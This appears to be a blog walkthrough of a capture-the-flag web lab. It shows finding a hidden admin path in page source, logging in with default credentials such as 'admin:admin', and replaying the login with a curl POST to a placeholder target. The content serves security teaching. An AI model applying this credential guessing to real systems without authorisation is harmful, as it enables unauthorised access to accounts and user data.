<h3 id="heading-source-code">Source Code</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756293631998/1978072d-ea1d-467a-8321-e2276276a75a.png" alt /></p>
<hr />
<h2 id="heading-questions-and-answers">Questions and Answers</h2>
<p><strong>Q1: What is the name of the hidden admin page?</strong></p>
<ul>
<li><p>After inspecting the page source, we find a hidden path mentioned in the comments.</p>
</li>
<li><p>The answer is a directory path that looks like:</p>
</li>
</ul>
<blockquote>
<p><strong>Answer:</strong> <code>/test-admin</code></p>
</blockquote>
<hr />
<h2 id="heading-task-2-hidden-admin-page-amp-default-credentials">🔐 Task 2 – Hidden Admin Page &amp; Default Credentials</h2>
<p>After finding the hidden admin page (<code>/test-admin</code>) in the page source, the next step is to <strong>check the login form</strong> and see if the application uses any default or easily guessable credentials.</p>
<h3 id="heading-why-check-for-default-creds">✅ Why check for default creds?</h3>
<p>Developers sometimes leave default accounts (or forget to change default passwords) when deploying an app. These accounts are easy to guess and are frequently targeted during initial web-app enumeration.</p>
<h3 id="heading-steps-i-took">🔎 Steps I took</h3>
<ol>
<li><p>Navigated to the hidden admin URL:<br /> <code>http://&lt;TARGET-IP&gt;/test-admin</code><br /> <em>(replace</em> <code>&lt;TARGET-IP&gt;</code> with the IP shown in the Active Machine Information)</p>
</li>
<li><p>Observed a <strong>login form</strong> (username + password fields).</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756293679375/2c7b6593-46ea-408c-83a2-45851539bb8b.png" alt /></p>
<ol start="3">
<li><p>Tried common default credentials (examples):</p>
<ul>
<li><p><code>admin:admin</code></p>
</li>
<li><p><code>admin:password</code></p>
</li>
<li><p><code>administrator:password123</code></p>
</li>
</ul>
</li>
<li><p>One of the default credentials worked:</p>
</li>
</ol>
<ul>
<li><strong>Found credential:</strong> <code>admin:admin</code></li>
</ul>
<blockquote>
<p><strong>Answer:</strong> <code>admin:admin</code></p>
</blockquote>
<ol start="5">
<li>After logging in, I navigated the admin interface to inspect user data and listings.</li>
</ol>
<ul>
<li><p>The application showed the registered users list / user count.</p>
</li>
<li><p><strong>Number of users signed up:</strong> <code>3</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756293671518/143dc875-bac5-4e26-a4b8-f19501673a7d.png" alt /></p>
<hr />
<h2 id="heading-example-quick-test-with-curl">🛠️ Example: quick test with <code>curl</code></h2>
<p>You can test a login POST with <code>curl</code> (replace IP &amp; endpoint as needed):</p>
<pre><code class="lang-bash">curl -i -X POST <span class="hljs-string">"http://&lt;TARGET-IP&gt;/test-admin/login"</span> \
  -d <span class="hljs-string">"username=admin&amp;password=admin"</span>
</code></pre>
]]></content:encoded></item></channel></rss>